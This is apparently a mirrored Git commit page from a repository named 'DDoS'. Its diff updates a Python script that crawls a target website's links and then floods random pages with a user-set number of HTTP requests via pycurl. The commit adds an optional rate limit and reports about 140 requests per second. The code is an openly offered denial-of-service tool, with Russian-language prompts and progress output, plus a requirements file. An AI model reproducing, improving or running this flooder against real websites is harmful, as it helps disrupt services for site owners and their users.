mirror of
https://github.com/Llloooggg/DDoS.git
synced 2026-03-06 10:06:23 +03:00
PyCurl ~ 140 з/с
This commit is contained in:
45
__init__.py
45
__init__.py
@@ -5,7 +5,7 @@ import link_extractor
|
||||
import time
|
||||
import random
|
||||
import progressbar
|
||||
import faster_than_requests as requests
|
||||
import pycurl
|
||||
from datetime import datetime
|
||||
|
||||
from threading import Thread
|
||||
@@ -15,6 +15,8 @@ global requestCountSuccess, requestCountExecuted
|
||||
if not os.path.exists('./maps/'):
|
||||
os.makedirs('./maps/')
|
||||
|
||||
devnull = open('/dev/null', 'w')
|
||||
|
||||
|
||||
def url_grab(full_url):
|
||||
|
||||
@@ -31,7 +33,6 @@ def url_grab(full_url):
|
||||
for link in subUrls:
|
||||
print(link.strip(), file=f)
|
||||
|
||||
|
||||
print(datetime.now().strftime('[%X] ') + 'Карта сайта получена')
|
||||
return subUrls
|
||||
|
||||
@@ -45,11 +46,13 @@ class DDoSer(Thread):
|
||||
|
||||
global requestCountSuccess, requestCountExecuted
|
||||
|
||||
# responce = requests.urlopen(self.url).getcode() # urlib
|
||||
responce = requests.get(self.url)['status']
|
||||
if responce == '200 OK':
|
||||
curl = pycurl.Curl()
|
||||
curl.setopt(curl.URL, self.url)
|
||||
curl.setopt(curl.WRITEFUNCTION, lambda bytes: len(bytes))
|
||||
curl.perform()
|
||||
if curl.getinfo(pycurl.HTTP_CODE) == 200:
|
||||
requestCountSuccess += 1
|
||||
|
||||
curl.close()
|
||||
requestCountExecuted += 1
|
||||
|
||||
|
||||
@@ -60,17 +63,32 @@ if __name__ == '__main__':
|
||||
|
||||
subUrls = url_grab(url)
|
||||
|
||||
requestCount = int(input(datetime.now().strftime('[%X] ') + 'Введите число запросов: '))
|
||||
speed = input(datetime.now().strftime(
|
||||
'[%X] ') + 'Введите скорость запросов(з/с) или оставьте пустым для максимальной: ')
|
||||
requestCount = int(input(datetime.now().strftime(
|
||||
'[%X] ') + 'Введите число запросов: '))
|
||||
print()
|
||||
|
||||
startTime = time.time()
|
||||
requestCountExecuted = 0
|
||||
requestCountSuccess = 0
|
||||
|
||||
with progressbar.ProgressBar(max_value=requestCount) as bar:
|
||||
startTime = time.time()
|
||||
if speed:
|
||||
speed = int(speed)
|
||||
for i in range(requestCount):
|
||||
url = random.choice(subUrls)
|
||||
thread = DDoSer(url)
|
||||
delayStartTime = time.time()
|
||||
curUrl = random.choice(subUrls)
|
||||
thread = DDoSer(curUrl)
|
||||
thread.start()
|
||||
thread.join()
|
||||
bar.update(requestCountExecuted)
|
||||
if time.time() - delayStartTime < 1 / speed:
|
||||
time.sleep(1 / speed - time.time() + delayStartTime)
|
||||
else:
|
||||
for i in range(requestCount):
|
||||
curUrl = random.choice(subUrls)
|
||||
thread = DDoSer(curUrl)
|
||||
thread.start()
|
||||
thread.join()
|
||||
bar.update(requestCountExecuted)
|
||||
@@ -78,6 +96,7 @@ if __name__ == '__main__':
|
||||
while requestCountExecuted < requestCount:
|
||||
bar.update(requestCountExecuted)
|
||||
|
||||
print('\n' + datetime.now().strftime('[%X] ') + 'Всего выслано запросов: ' + str(requestCountExecuted))
|
||||
print(datetime.now().strftime('[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess))
|
||||
print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(round(requestCountExecuted/(time.time() - startTime))) + ' з/с')
|
||||
print(datetime.now().strftime(
|
||||
'[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess))
|
||||
print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(
|
||||
round(requestCountExecuted / (time.time() - startTime))) + ' з/с')
|
||||
|
||||
13
requirements.txt
Normal file
13
requirements.txt
Normal file
@@ -0,0 +1,13 @@
|
||||
beautifulsoup4==4.9.0
|
||||
bs4==0.0.1
|
||||
certifi==2020.4.5.1
|
||||
chardet==3.0.4
|
||||
colorama==0.4.3
|
||||
idna==2.9
|
||||
progressbar2==3.51.0
|
||||
pycurl==7.43.0.5
|
||||
python-utils==2.4.0
|
||||
requests==2.23.0
|
||||
six==1.14.0
|
||||
soupsieve==2.0
|
||||
urllib3==1.25.9
|
||||
Reference in New Issue
Block a user